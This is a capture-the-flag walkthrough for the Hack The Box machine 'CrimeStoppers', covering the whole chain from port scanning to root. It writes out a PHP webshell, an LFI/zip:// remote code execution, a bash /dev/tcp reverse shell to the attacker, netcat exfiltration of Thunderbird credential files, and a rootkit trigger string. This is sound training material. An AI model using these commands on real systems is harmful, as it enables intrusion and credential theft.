CrimeStoppers

Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.80 -oN allPorts
-sSuse the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000nmap will try to keep the sending rate at or above 5000 packets per second.-p-scanning the entire port range, from 1 to 65535.-T5insane mode, it is the fastest mode of the nmap time template.-Pnassume the host is online.-nscan without reverse DNS resolution.-oNsave the scan result into a file, in this case the allports file.
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,80 10.10.10.80 -oN targeted
-sCperforms the scan using the default set of scripts.-sVenables version detection.-oNsave the scan result into file, in this case the targeted file.
The website is based on the Mr Robot TV show, and as we can see, it has the Home and Upload sections.

There is one cookie called admin set to 0.
curl -I http://10.10.10.80
If we change it to 1, we'll see one more section called List.

There is one file called Whiterose.txt in the List section.

Which has a note saying that there is a way to get RCE with a vulnerable GET parameter. Let's keep this in mind.

Let's keep enumerating the site by doing subdirectories enumeration with gobuster.
gobuster dir -u http://10.10.10.80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x php
direnumerates directories or files.-uthe target URL.-wpath to the wordlist.-tnumber of current threads, in this case 200 threads.-xfile extensions to search for.
The /uploads directory shows an image saying to read the source code.

The Upload section allows us to send tips using a form.

There is a comment in the source code of the page saying that a file is created for each tip that is submitted.
Note that if we access the home page for example, the URL is loading the home.php file because of the op=home GET parameter.
curl http://10.10.10.80/?op=home
Exploitation
We could try to see if the op GET parameter to a Local File Inclusion vulnerability. Instead of loading the home.php file, we could try to get its content with a base64 wrapper. Note that we don't need to add the .php extension because it might be added automatically by the server.
curl -s "http://10.10.10.80/?op=php://filter/convert.base64-encode/resource=home"
Get the base64 string, and decode it to see the home.php code.
curl -s "http://10.10.10.80/?op=php://filter/convert.base64-encode/resource=home" | awk "/<\/nav>/,/<footer>/" | sed 's/<footer>//g' | sed 's/<\/nav>//g' | tr -d "\n" | base64 -d
Now that we know that the op GET parameter is vulnerable to LFI, we could try to upload a malicious ZIP file using the upload.php file, and use the zip:// wrapper to get RCE. First, create a simple webshell, and compressed it to a ZIP file.
echo "<?php system($_GET['cmd']);?>" > pwn.php
zip pwn.zip pwn.php
Now we need to know how upload request works. Let's upload a tip, and see the request.

Now that we know what it takes to send an upload request, send the pwn.zip file as the tip. Make sure to add the PHPSESSID cookie and the token, which you can find in the source code of the Upload section.
curl -s -X POST 'http://10.10.10.80/?op=upload' -F 'tip=<pwn.zip' -F 'name=pwned' -F 'token=1ef2b6080dc62b0142d59a90154a9b11d609ab05562385d2056700ddde732779' -F 'submit=Send Tip!' -H "Cookie: admin=1; PHPSESSID=phuvogp78reo27i6a6f1tktve1"
If we take a look at the source code of the upload.php file, we'll see that when a new tip is created, it is stored in a folder named with the IP address of the client who send the tip.
curl -s "http://10.10.10.80/?op=php://filter/convert.base64-encode/resource=upload" | awk "/<\/nav>/,/<footer>/" | sed 's/<footer>//g' | sed 's/<\/nav>//g' | tr -d "\n" | base64 -d
Indeed, there is a directory named with my IP address inside the /uploads directory.

Now that we know where the ZIP file is located, use the zip:// wrapper to run commands on the server.
curl -s "http://10.10.10.80/?op=zip://uploads/10.10.14.14/88f9e44556ea3ea76f851c8be26b72eda3f5042b%23pwn&cmd=whoami" | awk "/<\/nav>/,/<footer>/" | sed 's///g' | sed 's/<\/nav>//g' | tr -d "\n"
Time to get a shell. Set a netcat listener on port 4444.
nc -lvnp 4444
-llisten mode.-vverbose mode.-nnumeric-only IP, no DNS resolution.-pspecify the port to listen on.
Then, send the reverse shell to get access to the server as www-data. Then, we'll be able to grab the user flag.
curl -s "http://10.10.10.80/?op=zip://uploads/10.10.14.14/88f9e44556ea3ea76f851c8be26b72eda3f5042b%23pwn&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.14/4444+0>%261'" | awk "/<\/nav>/,/<footer>/" | sed 's/<footer>//g' | sed 's/<\/nav>//g' | tr -d "\n"
Privilege Escalation
First, let's set an interactive TTY shell.
script /dev/null -c /bin/bash
Then I press Ctrl+Z and execute the following command on my local machine:
stty raw -echo; fg
reset
Terminal type? xterm
Next, I export a few variables:
export TERM=xterm
export SHELL=bash
Finally, I run the following command in our local machine:
stty size
And set the proper dimensions in the victim machine:
stty rows 51 columns 236
There is one hidden directory called .thunderbird inside the home directory of dom.
ls -la /home/dom/
Inside there are two files called logins.json and key3.db which contain encrypted credentials.
ls -la /home/dom/.thunderbird/36jinndk.default/
Let's transfer the file to the directory where the firepwd.py tool is located.
nc -lvnp 5555 > key3.db
nc 10.10.14.14 5555 < /home/dom/.thunderbird/36jinndk.default/key3.db
nc -lvnp 5555 > logins.json
nc 10.10.14.14 5555 < /home/dom/.thunderbird/36jinndk.default/logins.json
Now, run the script to decrypt the credentials.
python firepwd.py
Use that password to become the dom user.
su dom
If we search for files named with the word Sent inside the .thunderbird/36jinndk.default directory, we'll find a few files.
find . -name Sent 2>/dev/null
The Sent-1 file has a list of emails. The last one has some interesting information.
cat ./ImapMail/crimestoppers.htb/Sent-1
Apparently. there is a rootkit installed on the web server called apache_modrootme. By connecting to port 80 and sending the get root string, a shell as root should be spawned.
nc localhost 80
But this doesn't happen. Maybe it is because the string that we have to enter is a different one. There is one apache2 module called mod_rootme.so.
find / -name rootme 2>/dev/null
Transfer it to our local machine.
nc -lvnp 5555 > mod_rootme.so
nc 10.10.14.14 5555 < /usr/lib/apache2/modules/mod_rootme.so
Now, let's use radare2 to inspect the binary more in depth.
radare2 mod_rootme.so
[0x00000f70]> aaa
[0x00000f70]> afl
There is one function called darkarmy, which is doing an XOR operation between the HackTheBox string and the content in the 0x00001bf2 address.
[0x00000f70]> s dbg.darkarmy
[0x00001ac0]> pdf
Let' see what is stored in that address.
[0x00001ac0]> px @0x00001bf2
Open a python terminal, and do the XOR operation.
python
Finally, if we enter the get FunSociety string, we'll get a shell as root. Then all we have to do is reap the harvest and take the root flag.
nc localhost 80
Last updated